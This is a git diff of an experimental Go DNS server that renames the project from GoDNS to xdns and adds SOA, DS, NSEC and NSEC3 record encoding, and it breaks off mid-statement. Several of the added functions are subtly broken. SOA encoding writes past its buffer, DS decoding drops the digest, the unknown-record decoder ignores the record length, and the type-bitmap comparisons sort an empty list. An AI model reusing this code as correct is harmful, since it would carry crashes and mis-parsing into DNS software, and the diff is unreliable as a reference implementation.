diff --git a/README.md b/README.md index 6ea7ece..2b466f8 100644 --- a/README.md +++ b/README.md @@ -1,41 +1,41 @@ -# GoDNS +# xdns -[![madewithlove](https://img.shields.io/badge/made_with-%E2%9D%A4-red?style=for-the-badge&labelColor=orange&style=flat-square)](https://github.com/TochusC/godns) -![Go Version](https://img.shields.io/github/go-mod/go-version/tochusc/godns/master?filename=go.mod&style=flat-square) -![Latest Version](https://img.shields.io/github/v/tag/tochusc/godns?label=latest&style=flat-square) -![License](https://img.shields.io/github/license/tochusc/godns?style=flat-square) -[![GoDoc](https://godoc.org/github.com/tochusc/godns?status.svg)](https://godoc.org/github.com/tochusc/godns) +[![madewithlove](https://img.shields.io/badge/made_with-%E2%9D%A4-red?style=for-the-badge&labelColor=orange&style=flat-square)](https://github.com/TochusC/xdns) +![Go Version](https://img.shields.io/github/go-mod/go-version/tochusc/xdns/master?filename=go.mod&style=flat-square) +![Latest Version](https://img.shields.io/github/v/tag/tochusc/xdns?label=latest&style=flat-square) +![License](https://img.shields.io/github/license/tochusc/xdns?style=flat-square) +[![GoDoc](https://godoc.org/github.com/tochusc/xdns?status.svg)](https://godoc.org/github.com/tochusc/xdns) [简体中文](README.md) | [English](docs/en/README.md) -GoDNS 是一个快速、灵活的**实验用** DNS 服务器,旨在帮助开发者和研究人员探索和实验 DNS 协议的各种特性。 +xdns 是一个快速、灵活的**实验用** DNS 服务器,旨在帮助开发者和研究人员探索和实验 DNS 协议的各种特性。 ## 目录 -- [GoDNSServer](#godnsserver) +- [xdnsServer](#xdnsserver) - [示例](#示例) - [构造和生成 DNS 回复](#构造和生成-dns-回复) - [dns 包](#dns-包) - [xlayers 子包](#xlayers-子包) - [xperi 子包](#xperi-子包) -## GoDNSServer +## xdnsServer -`GoDNSServer` 是对 DNS 服务器的最顶层封装, 其由三部分组成: +`xdnsServer` 是对 DNS 服务器的最顶层封装, 其由三部分组成: 1. **ServerConfig**: DNS 服务器配置。 2. **Netter**: 数据包处理器:接收、解析、发送数据包,并维护连接状态。 3. **Responser**: DNS回复器:响应、解析、构造DNS回复 ```go -type GoDNSServer struct { +type xdnsServer struct { ServerConfig DNSServerConfig Netter Netter Responer Responser } -// GoDNSServer 启动! -func (s *GoDNSServer) Start() +// xdnsServer 启动! +func (s *xdnsServer) Start() ``` ### Netter @@ -84,14 +84,14 @@ type Responser interface { // size=16 (0x10) ## 示例 -通过下述几行代码,可以一键启动一个基础的 GoDNS 服务器: +通过下述几行代码,可以一键启动一个基础的 xdns 服务器: ```go // 创建一个 DNS 服务器 -server := godns.GoDNSServer{ +server := xdns.xdnsServer{ ServerConfig: sConf, - Netter: godns.Netter{ - Config: godns.NetterConfig{ + Netter: xdns.Netter{ + Config: xdns.NetterConfig{ Port: sConf.Port, MTU: sConf.MTU, }, @@ -183,4 +183,4 @@ func (s *struct) Equal(other *struct) bool --- -如需更多信息或支持,请访问我们的 [GitHub 页面](https://github.com/TochusC/godns)。 \ No newline at end of file +如需更多信息或支持,请访问我们的 [GitHub 页面](https://github.com/TochusC/xdns)。 \ No newline at end of file diff --git a/cacher.go b/cacher.go index 38d18a5..7341c61 100644 --- a/cacher.go +++ b/cacher.go @@ -1,4 +1,4 @@ -package godns +package xdns import ( "encoding/binary" @@ -8,14 +8,12 @@ import ( "os" "path/filepath" - "github.com/panjf2000/ants/v2" - "github.com/tochusc/godns/dns" + "github.com/tochusc/xdns/dns" ) type Cacher struct { CacheLocation string CacherLogger *log.Logger - CacherPool *ants.Pool } type CacherConfig struct { @@ -23,13 +21,12 @@ type CacherConfig struct { LogWriter io.Writer } -func NewCacher(conf CacherConfig, pool *ants.Pool) *Cacher { +func NewCacher(conf CacherConfig) *Cacher { cacherLogger := log.New(conf.LogWriter, "Cacher: ", log.LstdFlags) return &Cacher{ CacheLocation: conf.CacheLocation, CacherLogger: cacherLogger, - CacherPool: pool, } } diff --git a/dns/dns.go b/dns/dns.go index 3825bc6..ac0161f 100644 --- a/dns/dns.go +++ b/dns/dns.go @@ -156,11 +156,8 @@ func (dnsMessage *DNSMessage) String() string { "### DNS Message ###\n", dnsMessage.Header.String(), "\n", dnsMessage.Question.String(), - "### Answer Section ###\n", dnsMessage.Answer.String(), - "### Authority Section ###\n", dnsMessage.Authority.String(), - "### Additional Section ###\n", dnsMessage.Additional.String(), "### DNS Message End ###", ) @@ -497,7 +494,7 @@ func (section DNSQuestionSection) Size() int { // String 以“易读的形式”返回DNS消息 的 问题部分的字符串表示。 // - 其返回值为 DNS消息 的 问题部分的字符串表示。 func (section DNSQuestionSection) String() string { - result := "### DNS Question Section ###\n" + var result string for _, question := range section { result += question.String() + "\n" } @@ -609,7 +606,7 @@ func (responseSection DNSResponseSection) Size() int { // String 以“易读的形式”返回DNS响应部分的字符串表示。 func (responseSection DNSResponseSection) String() string { - result := "" + var result string for _, record := range responseSection { result += record.String() + "\n" } @@ -687,9 +684,6 @@ func (rr *DNSResourceRecord) Size() int { // String 以*易读的形式*返回 DNS 资源记录的字符串表示。 // - 其返回值为 DNS 资源记录的字符串表示。 func (rr *DNSResourceRecord) String() string { - if IsPseudoRR(rr) { - return NewPseudoRR(rr).String() - } return fmt.Sprint( "### DNS Resource Record ###\n", "Name:", rr.Name, "\n", diff --git a/dns/rdata.go b/dns/rdata.go index 448172c..7377d0e 100644 --- a/dns/rdata.go +++ b/dns/rdata.go @@ -6,9 +6,14 @@ package dns import ( "bytes" + "crypto/sha1" + "crypto/sha256" + "crypto/sha512" + "encoding/base32" "encoding/binary" "fmt" "net" + "sort" ) // DNSRRRDATA 接口表示 DNS 资源记录的 RDATA 部分, @@ -83,16 +88,6 @@ func DNSRRRDATAFactory(rtype DNSType) DNSRRRDATA { return &DNSRDATACNAME{} case DNSRRTypeTXT: return &DNSRDATATXT{} - case DNSRRTypeRRSIG: - return &DNSRDATARRSIG{} - case DNSRRTypeDNSKEY: - return &DNSRDATADNSKEY{} - case DNSRRTypeNSEC: - return &DNSRDATANSEC{} - case DNSRRTypeDS: - return &DNSRDATADS{} - case DNSRRTypeOPT: - return &DNSRDATAOPT{} default: return &DNSRDATAUnknown{ RRType: rtype, @@ -144,13 +139,12 @@ func (rdata *DNSRDATAUnknown) EncodeToBuffer(buffer []byte) (int, error) { return rdata.Size(), nil } -func (rdata *DNSRDATAUnknown) DecodeFromBuffer(buffer []byte, offset, rdLen int) (int, error) { - if len(buffer) < offset+rdLen { +func (rdata *DNSRDATAUnknown) DecodeFromBuffer(buffer []byte, offset int, rdLen int) (int, error) { + if len(buffer) < offset+rdata.Size() { return -1, fmt.Errorf("method DNSRDATAUnknown DecodeFromBuffer failed: buffer length %d is less than offset %d + Unknown RDATA size %d", len(buffer), offset, rdata.Size()) } - rdata.RData = make([]byte, rdLen) - copy(rdata.RData, buffer[offset:offset+rdLen]) - return offset + rdLen, nil + rdata.RData = buffer[offset:] + return offset + rdata.Size(), nil } // A RDATA 编码格式 @@ -342,6 +336,155 @@ func (rdata *DNSRDATACNAME) DecodeFromBuffer(buffer []byte, offset int, rdLen in return offset, nil } +// SOA RDATA 编码格式 +// +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ +// / MNAME / +// / / +// +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ +// / RNAME / +// +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ +// | SERIAL | +// | | +// +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ +// | REFRESH | +// | | +// +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ +// | RETRY | +// | | +// +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ +// | EXPIRE | +// | | +// +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ +// | MINIMUM | +// | | +// +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ +type DNSRDATASOA struct { + // MNAME + MName string + // RNAME + RName string + // SERIAL + Serial uint32 + // REFRESH + Refresh uint32 + // RETRY + Retry uint32 + // EXPIRE + Expire uint32 + // MINIMUM + Minimum uint32 +} + +func (rdata *DNSRDATASOA) Type() DNSType { + return DNSRRTypeSOA +} + +func (rdata *DNSRDATASOA) Size() int { + return GetDomainNameWireLen(&rdata.MName) + + GetDomainNameWireLen(&rdata.RName) + + 4*5 // 4 bytes for each of SERIAL, REFRESH, RETRY, EXPIRE, MINIMUM +} + +func (rdata *DNSRDATASOA) String() string { + return fmt.Sprint( + "### RDATA Section ###\n", + "MName: ", rdata.MName, + "\nRName: ", rdata.RName, + "\nSerial: ", rdata.Serial, + "\nRefresh: ", rdata.Refresh, + "\nRetry: ", rdata.Retry, + "\nExpire: ", rdata.Expire, + "\nMinimum: ", rdata.Minimum, + ) +} + +func (rdata *DNSRDATASOA) Equal(rr DNSRRRDATA) bool { + rrsoa, ok := rr.(*DNSRDATASOA) + if !ok { + return false + } + return rdata.MName == rrsoa.MName && + rdata.RName == rrsoa.RName && + rdata.Serial == rrsoa.Serial && + rdata.Refresh == rrsoa.Refresh && + rdata.Retry == rrsoa.Retry && + rdata.Expire == rrsoa.Expire && + rdata.Minimum == rrsoa.Minimum +} + +func (rdata *DNSRDATASOA) Encode() []byte { + bytesArray := make([]byte, rdata.Size()) + offset := 0 + nLen, err := EncodeDomainNameToBuffer(&rdata.MName, bytesArray[offset:]) + if err != nil { + panic(fmt.Sprintf("method DNSRDATASOA Encode failed: encode MName failed.\n%v", err)) + } + offset += nLen + nLen, err = EncodeDomainNameToBuffer(&rdata.RName, bytesArray[offset:]) + offset += nLen + if err != nil { + panic(fmt.Sprintf("method DNSRDATASOA Encode failed: encode RName failed.\n%v", err)) + } + binary.BigEndian.PutUint32(bytesArray[offset+4:], rdata.Serial) + binary.BigEndian.PutUint32(bytesArray[offset+8:], rdata.Refresh) + binary.BigEndian.PutUint32(bytesArray[offset+12:], rdata.Retry) + binary.BigEndian.PutUint32(bytesArray[offset+16:], rdata.Expire) + binary.BigEndian.PutUint32(bytesArray[offset+20:], rdata.Minimum) + return bytesArray +} + +func (rdata *DNSRDATASOA) EncodeToBuffer(buffer []byte) (int, error) { + if len(buffer) < 20 { + return -1, fmt.Errorf("method DNSRDATASOA EncodeToBuffer failed: buffer length %d is less than SOA RDATA size %d", len(buffer), rdata.Size()) + } + offset := 0 + nLen, err := EncodeDomainNameToBuffer(&rdata.MName, buffer[offset:]) + offset += nLen + if err != nil { + return -1, fmt.Errorf("method DNSRDATASOA EncodeToBuffer failed: encode MName failed.\n%v", err) + } + nLen, err = EncodeDomainNameToBuffer(&rdata.RName, buffer[offset:]) + offset += nLen + if err != nil { + return -1, fmt.Errorf("method DNSRDATASOA EncodeToBuffer failed: encode RName failed.\n%v", err) + } + binary.BigEndian.PutUint32(buffer[offset:], rdata.Serial) + binary.BigEndian.PutUint32(buffer[offset+4:], rdata.Refresh) + binary.BigEndian.PutUint32(buffer[offset+8:], rdata.Retry) + binary.BigEndian.PutUint32(buffer[offset+12:], rdata.Expire) + binary.BigEndian.PutUint32(buffer[offset+16:], rdata.Minimum) + return offset + 20, nil +} + +func (rdata *DNSRDATASOA) DecodeFromBuffer(buffer []byte, offset int, rdLen int) (int, error) { + var err error + nLen := 0 + + rdata.MName, nLen, err = DecodeDomainNameFromBuffer(buffer, offset) + offset += nLen + if err != nil { + return -1, fmt.Errorf("method DNSRDATASOA DecodeFromBuffer failed: decode MName failed.\n%v", err) + } + + rdata.RName, nLen, err = DecodeDomainNameFromBuffer(buffer, offset) + offset += nLen + if err != nil { + return -1, fmt.Errorf("method DNSRDATASOA DecodeFromBuffer failed: decode RName failed.\n%v", err) + } + + rdata.Serial = binary.BigEndian.Uint32(buffer[offset : offset+4]) + offset += 4 + rdata.Refresh = binary.BigEndian.Uint32(buffer[offset : offset+4]) + offset += 4 + rdata.Retry = binary.BigEndian.Uint32(buffer[offset : offset+4]) + offset += 4 + rdata.Expire = binary.BigEndian.Uint32(buffer[offset : offset+4]) + offset += 4 + rdata.Minimum = binary.BigEndian.Uint32(buffer[offset : offset+4]) + offset += 4 + return offset, nil +} + // : 一个长度字节后跟着字符序列, // 长度字节指定了字符序列的长度,长度范围为 0-255, // 的长度范围为 1~256,1表示空字符串。 @@ -637,13 +780,104 @@ func (rdata *DNSRDATADNSKEY) DecodeFromBuffer(buffer []byte, offset int, rdLen i return rdEnd, nil } +// DS RDATA 编码格式 +// 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 +// 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// | Key Tag | Algorithm | Digest Type | +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// / / +// / Digest / +// / / +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + +// DNSRDATADS 结构体表示 DS 类型的 DNS 资源记录的 RDATA 部分。 +// 其包含以下字段: +// - KeyTag: 16位无符号整数,表示密钥标签。 +// - Algorithm: 8位无符号整数,表示密钥算法。 +// - DigestType: 8位无符号整数,表示摘要类型。 +// - Digest: 字节切片,表示摘要。 +// +// RFC 4034 5.1 节 定义了 DS 类型的 DNS 资源记录的 RDATA 部分的编码格式。 +// 其 Type 值为 43。 +type DNSRDATADS struct { + KeyTag uint16 + Algorithm DNSSECAlgorithm + DigestType DNSSECDigestType + Digest []byte +} + +func (rdata *DNSRDATADS) Type() DNSType { + return DNSRRTypeDS +} + +func (rdata *DNSRDATADS) Size() int { + return 4 + len(rdata.Digest) +} + +func (rdata *DNSRDATADS) String() string { + return fmt.Sprint( + "### RDATA Section ###\n", + "Key Tag: ", rdata.KeyTag, + "\nAlgorithm: ", rdata.Algorithm, + "\nDigest Type: ", rdata.DigestType, + "\nDigest: ", rdata.Digest, + ) +} + +func (rdata *DNSRDATADS) Equal(rr DNSRRRDATA) bool { + rrds, ok := rr.(*DNSRDATADS) + if !ok { + return false + } + return rdata.KeyTag == rrds.KeyTag && + rdata.Algorithm == rrds.Algorithm && + rdata.DigestType == rrds.DigestType && + bytes.Equal(rdata.Digest, rrds.Digest) +} + +func (rdata *DNSRDATADS) Encode() []byte { + bytesArray := make([]byte, rdata.Size()) + binary.BigEndian.PutUint16(bytesArray, rdata.KeyTag) + bytesArray[2] = byte(rdata.Algorithm) + bytesArray[3] = byte(rdata.DigestType) + copy(bytesArray[4:], rdata.Digest) + return bytesArray +} + +func (rdata *DNSRDATADS) EncodeToBuffer(buffer []byte) (int, error) { + if len(buffer) < rdata.Size() { + return -1, fmt.Errorf("method DNSRDATADS EncodeToBuffer failed: buffer length %d is less than DS RDATA size %d", len(buffer), rdata.Size()) + } + binary.BigEndian.PutUint16(buffer, rdata.KeyTag) + buffer[2] = byte(rdata.Algorithm) + buffer[3] = byte(rdata.DigestType) + copy(buffer[4:], rdata.Digest) + return rdata.Size(), nil +} + +func (rdata *DNSRDATADS) DecodeFromBuffer(buffer []byte, offset int, rdLen int) (int, error) { + rdEnd := offset + rdLen + if rdLen < 4 { + return -1, fmt.Errorf("method DNSRDATADS DecodeFromBuffer failed: DS RDATA size %d is less than 4", rdLen) + } + if len(buffer) < rdEnd { + return -1, fmt.Errorf("method DNSRDATADS DecodeFromBuffer failed: buffer length %d is less than offset %d + DS RDATA size %d", len(buffer), offset, rdata.Size()) + } + rdata.KeyTag = binary.BigEndian.Uint16(buffer[offset:]) + rdata.Algorithm = DNSSECAlgorithm(buffer[offset+2]) + rdata.DigestType = DNSSECDigestType(buffer[offset+3]) + copy(rdata.Digest, buffer[offset+4:rdEnd]) + return rdEnd, nil +} + // NSEC RDATA 编码格式 // 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 // 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 // +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -// | Next Domain Name | +// / Next Domain Name / // +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -// | Type Bit Maps | +// / Type Bit Maps / // +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ // DNSRDATANSEC 结构体表示 NSEC 类型的 DNS 资源记录的 RDATA 部分。 @@ -656,7 +890,7 @@ func (rdata *DNSRDATADNSKEY) DecodeFromBuffer(buffer []byte, offset int, rdLen i type DNSRDATANSEC struct { NextDomainName string // Type Bit Maps Field = ( Window Block # | Bitmap Length | Bitmap )+ - TypeBitMaps []byte + TypeBitMaps []DNSType } func (rdata *DNSRDATANSEC) Type() DNSType { @@ -664,7 +898,7 @@ func (rdata *DNSRDATANSEC) Type() DNSType { } func (rdata *DNSRDATANSEC) Size() int { - return GetDomainNameWireLen(&rdata.NextDomainName) + len(rdata.TypeBitMaps) + return GetDomainNameWireLen(&rdata.NextDomainName) + len(EncodeTypeBitMaps(rdata.TypeBitMaps)) } func (rdata *DNSRDATANSEC) String() string { @@ -675,34 +909,140 @@ func (rdata *DNSRDATANSEC) String() string { ) } +func EncodeTypeBitMaps(typeList []DNSType) []byte { + var bytesArray []byte + + numericalList := make([]int, 0) + for _, t := range typeList { + numericalList = append(numericalList, int(t)) + } + sort.Ints(numericalList) + + type bitMap struct { + index uint8 + length uint8 + bits []byte + } + var typeBitMaps []bitMap + + tBitMap := bitMap{ + index: 0, + length: 0, + bits: []byte{}, + } + + for _, t := range numericalList { + if tBitMap.index < uint8(t/256) { + if tBitMap.length > 0 { + typeBitMaps = append(typeBitMaps, tBitMap) + } + tBitMap = bitMap{ + index: uint8(t / 256), + length: 0, + bits: []byte{}, + } + } + var temp []byte + z := int(t) / 8 + + for i := 0; i < z; i++ { + temp = append(temp, 0) + } + temp = append(temp, 0x80>>(t%8)) + + for i := 1; i <= len(temp); i++ { + if i > int(tBitMap.length) { + tBitMap.bits = append(tBitMap.bits, temp[i-1]) + } else { + tBitMap.bits[i-1] |= temp[i-1] + } + } + + tBitMap.length = uint8(z + 1) + } + if tBitMap.length > 0 { + typeBitMaps = append(typeBitMaps, tBitMap) + } + + for _, t := range typeBitMaps { + bytesArray = append(bytesArray, t.index) + bytesArray = append(bytesArray, t.length) + bytesArray = append(bytesArray, t.bits...) + } + + return bytesArray +} + func (rdata *DNSRDATANSEC) Equal(rr DNSRRRDATA) bool { rrnsec, ok := rr.(*DNSRDATANSEC) if !ok { return false } - return rdata.NextDomainName == rrnsec.NextDomainName && - bytes.Equal(rdata.TypeBitMaps, rrnsec.TypeBitMaps) + + typeList := make([]int, 0) + sort.Ints(typeList) + + for _, t := range rdata.TypeBitMaps { + typeList = append(typeList, int(t)) + } + + rrTypeList := make([]int, 0) + for _, t := range rrnsec.TypeBitMaps { + rrTypeList = append(rrTypeList, int(t)) + } + sort.Ints(rrTypeList) + + if len(typeList) != len(rrTypeList) { + return false + } + for i := 0; i < len(typeList); i++ { + if typeList[i] != rrTypeList[i] { + return false + } + } + + return rdata.NextDomainName == rrnsec.NextDomainName } +// Encode 方法将 NSEC RDATA 编码为字节切片。 func (rdata *DNSRDATANSEC) Encode() []byte { - bytesArray := make([]byte, rdata.Size()) - offset, _ := EncodeDomainNameToBuffer(&rdata.NextDomainName, bytesArray) - copy(bytesArray[offset:], rdata.TypeBitMaps) + nextDomainName := EncodeDomainName(&rdata.NextDomainName) + typeBitMaps := EncodeTypeBitMaps(rdata.TypeBitMaps) + bytesArray := make([]byte, len(nextDomainName)+len(typeBitMaps)) + copy(bytesArray, nextDomainName) + copy(bytesArray[len(nextDomainName):], typeBitMaps) return bytesArray } func (rdata *DNSRDATANSEC) EncodeToBuffer(buffer []byte) (int, error) { - if len(buffer) < rdata.Size() { + nextDomainName := EncodeDomainName(&rdata.NextDomainName) + typeBitMaps := EncodeTypeBitMaps(rdata.TypeBitMaps) + size := len(nextDomainName) + len(typeBitMaps) + if len(buffer) < size { return -1, fmt.Errorf("buffer length %d is less than NSEC RDATA size %d", len(buffer), rdata.Size()) } - offset, err := EncodeDomainNameToBuffer(&rdata.NextDomainName, buffer) - if err != nil { - return -1, fmt.Errorf("method DNSRDATANSEC EncodeToBuffer failed: encode NSEC Next Domain Name failed.\n%v", err) - } - copy(buffer[offset:], rdata.TypeBitMaps) + copy(buffer, nextDomainName) + copy(buffer[len(nextDomainName):], typeBitMaps) return rdata.Size(), nil } +func DecodeTypeBitMaps(typeBitMaps []byte) []DNSType { + var typeList []DNSType + for i := 0; i < len(typeBitMaps); { + index := int(typeBitMaps[i]) + length := int(typeBitMaps[i+1]) + for j := 0; j < int(length); j++ { + for k := 0; k < 8; k++ { + if typeBitMaps[i+2+j]&(0x80>>k) != 0 { + typeList = append(typeList, DNSType(index*256+j*8+k)) + } + } + } + i += 2 + int(length) + } + return typeList +} + func (rdata *DNSRDATANSEC) DecodeFromBuffer(buffer []byte, offset int, rdLen int) (int, error) { var err error var rdEnd = offset + rdLen @@ -713,98 +1053,219 @@ func (rdata *DNSRDATANSEC) DecodeFromBuffer(buffer []byte, offset int, rdLen int if err != nil { return -1, fmt.Errorf("method DNSRDATANSEC DecodeFromBuffer failed: decode NSEC Next Domain Name failed.\n%v", err) } - copy(rdata.TypeBitMaps, buffer[offset:rdEnd]) + rdata.TypeBitMaps = DecodeTypeBitMaps(buffer[offset:rdEnd]) return rdEnd, nil } -// DS RDATA 编码格式 +// NSEC3 RDATA 编码格式 // 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3 // 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 // +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -// | Key Tag | Algorithm | Digest Type | +// | Hash Alg. | Flags | Iterations | // +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -// / / -// / Digest / -// / / +// | Salt Length | Salt / +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// | Hash Length | Next Hashed Owner Name / +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// / Type Bit Maps / // +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -// DNSRDATADS 结构体表示 DS 类型的 DNS 资源记录的 RDATA 部分。 +// DNSRDATANSEC3 结构体表示 NSEC3 类型的 DNS 资源记录的 RDATA 部分。 // 其包含以下字段: -// - KeyTag: 16位无符号整数,表示密钥标签。 -// - Algorithm: 8位无符号整数,表示密钥算法。 -// - DigestType: 8位无符号整数,表示摘要类型。 -// - Digest: 字节切片,表示摘要。 +// - HashAlgorithm: 8位无符号整数,表示哈希算法。 +// - Flags: 8位无符号整数,表示标志。 +// - Iterations: 16位无符号整数,表示迭代次数。 +// - SaltLength: 8位无符号整数,表示Salt长度。 +// - Salt: 字符串,表示Salt。 +// - HashLength: 8位无符号整数,表示哈希长度。 +// - NextHashedOwnerName: 下一个哈希的所有名称。 +// - TypeBitMaps: 类型位图。 // -// RFC 4034 5.1 节 定义了 DS 类型的 DNS 资源记录的 RDATA 部分的编码格式。 -// 其 Type 值为 43。 -type DNSRDATADS struct { - KeyTag uint16 - Algorithm DNSSECAlgorithm - DigestType DNSSECDigestType - Digest []byte +// RFC 5155 3.2 节 定义了 NSEC3 类型的 DNS 资源记录的 RDATA 部分的编码格式。 +// 其 Type 值为 50。 + +type DNSRDATANSEC3 struct { + HashAlgorithm DNSSECDigestType + Flags NSEC3Flags + Iterations uint16 + SaltLength uint8 + Salt string + HashLength uint8 + NextHashedOwnerName string + TypeBitMaps []DNSType } -func (rdata *DNSRDATADS) Type() DNSType { - return DNSRRTypeDS +type NSEC3Flags uint8 + +const ( + NSEC3FlagOptOut NSEC3Flags = 1 + NSEC3FlagReserved NSEC3Flags = 0 +) + +func (rdata *DNSRDATANSEC3) Type() DNSType { + return DNSRRTypeNSEC3 } -func (rdata *DNSRDATADS) Size() int { - return 4 + len(rdata.Digest) +func (rdata *DNSRDATANSEC3) Size() int { + saltBytes := []byte(rdata.Salt) + nextHashOwnerName := rdata.HashOwnerName(rdata.NextHashedOwnerName) + typeBitMaps := EncodeTypeBitMaps(rdata.TypeBitMaps) + size := 6 + len(saltBytes) + len(nextHashOwnerName) + len(typeBitMaps) + return size } -func (rdata *DNSRDATADS) String() string { +func (rdata *DNSRDATANSEC3) String() string { return fmt.Sprint( "### RDATA Section ###\n", - "Key Tag: ", rdata.KeyTag, - "\nAlgorithm: ", rdata.Algorithm, - "\nDigest Type: ", rdata.DigestType, - "\nDigest: ", rdata.Digest, + "Hash Algorithm: ", rdata.HashAlgorithm, + "\nFlags: ", rdata.Flags, + "\nIterations: ", rdata.Iterations, + "\nSalt Length: ", rdata.SaltLength, + "\nSalt: ", rdata.Salt, + "\nHash Length: ", rdata.HashLength, + "\nNext Hashed Owner Name: ", rdata.NextHashedOwnerName, + "\nType Bit Maps: ", rdata.TypeBitMaps, ) } -func (rdata *DNSRDATADS) Equal(rr DNSRRRDATA) bool { - rrds, ok := rr.(*DNSRDATADS) +func (rdata *DNSRDATANSEC3) Equal(rr DNSRRRDATA) bool { + rrnsec3, ok := rr.(*DNSRDATANSEC3) if !ok { return false } - return rdata.KeyTag == rrds.KeyTag && - rdata.Algorithm == rrds.Algorithm && - rdata.DigestType == rrds.DigestType && - bytes.Equal(rdata.Digest, rrds.Digest) + + typeList := make([]int, 0) + sort.Ints(typeList) + + for _, t := range rdata.TypeBitMaps { + typeList = append(typeList, int(t)) + } + + rrTypeList := make([]int, 0) + for _, t := range rrnsec3.TypeBitMaps { + rrTypeList = append(rrTypeList, int(t)) + } + sort.Ints(rrTypeList) + + if len(typeList) != len(rrTypeList) { + return false + } + for i := 0; i < len(typeList); i++ { + if typeList[i] != rrTypeList[i] { + return false + } + } + + return rdata.HashAlgorithm == rrnsec3.HashAlgorithm && + rdata.Flags == rrnsec3.Flags && + rdata.Iterations == rrnsec3.Iterations && + rdata.Salt == rrnsec3.Salt && + rdata.NextHashedOwnerName == rrnsec3.NextHashedOwnerName } -func (rdata *DNSRDATADS) Encode() []byte { - bytesArray := make([]byte, rdata.Size()) - binary.BigEndian.PutUint16(bytesArray, rdata.KeyTag) - bytesArray[2] = byte(rdata.Algorithm) - bytesArray[3] = byte(rdata.DigestType) - copy(bytesArray[4:], rdata.Digest) +func (rdata *DNSRDATANSEC3) HashOwnerName(ownerName string) []byte { + nextHashOwnerName := EncodeDomainName(&ownerName) + switch rdata.HashAlgorithm { + case DNSSECDigestTypeSHA1: + for i := 0; i <= int(rdata.Iterations); i++ { + digest := sha1.Sum(append(nextHashOwnerName, []byte(rdata.Salt)...)) + nextHashOwnerName = digest[:] + } + return nextHashOwnerName + case DNSSECDigestTypeSHA256: + for i := 0; i <= int(rdata.Iterations); i++ { + digest := sha256.Sum256(append(nextHashOwnerName, []byte(rdata.Salt)...)) + nextHashOwnerName = digest[:] + } + case DNSSECDigestTypeSHA384: + for i := 0; i <= int(rdata.Iterations); i++ { + digest := sha512.Sum384(append(nextHashOwnerName, []byte(rdata.Salt)...)) + nextHashOwnerName = digest[:] + } + case DNSSECDigestTypeSHA512: + for i := 0; i <= int(rdata.Iterations); i++ { + digest := sha512.Sum512(append(nextHashOwnerName, []byte(rdata.Salt)...)) + nextHashOwnerName = digest[:] + } + } + return nextHashOwnerName +} + +func (rdata *DNSRDATANSEC3) Encode() []byte { + bytesArray := make([]byte, 0) + bytesArray = append(bytesArray, uint8(rdata.HashAlgorithm)) + bytesArray = append(bytesArray, uint8(rdata.Flags)) + bytesArray = append(bytesArray, byte(rdata.Iterations>>8), byte(rdata.Iterations)) + if rdata.SaltLength == 0 { + bytesArray = append(bytesArray, uint8(len([]byte(rdata.Salt)))) + } else { + bytesArray = append(bytesArray, rdata.SaltLength) + } + bytesArray = append(bytesArray, []byte(rdata.Salt)...) + nextHashOwnerName := rdata.HashOwnerName(rdata.NextHashedOwnerName) + if rdata.HashLength == 0 { + bytesArray = append(bytesArray, uint8(len(nextHashOwnerName))) + } else { + bytesArray = append(bytesArray, rdata.HashLength) + } + bytesArray = append(bytesArray, nextHashOwnerName...) + typeBitMaps := EncodeTypeBitMaps(rdata.TypeBitMaps) + bytesArray = append(bytesArray, typeBitMaps...) return bytesArray } -func (rdata *DNSRDATADS) EncodeToBuffer(buffer []byte) (int, error) { - if len(buffer) < rdata.Size() { - return -1, fmt.Errorf("method DNSRDATADS EncodeToBuffer failed: buffer length %d is less than DS RDATA size %d", len(buffer), rdata.Size()) +func (rdata *DNSRDATANSEC3) EncodeToBuffer(buffer []byte) (int, error) { + saltBytes := []byte(rdata.Salt) + nextHashOwnerName := rdata.HashOwnerName(rdata.NextHashedOwnerName) + typeBitMaps := EncodeTypeBitMaps(rdata.TypeBitMaps) + size := 6 + len(saltBytes) + len(nextHashOwnerName) + len(typeBitMaps) + if len(buffer) < size { + return -1, fmt.Errorf("buffer length %d is less than NSEC3 RDATA size %d", len(buffer), size) } - binary.BigEndian.PutUint16(buffer, rdata.KeyTag) - buffer[2] = 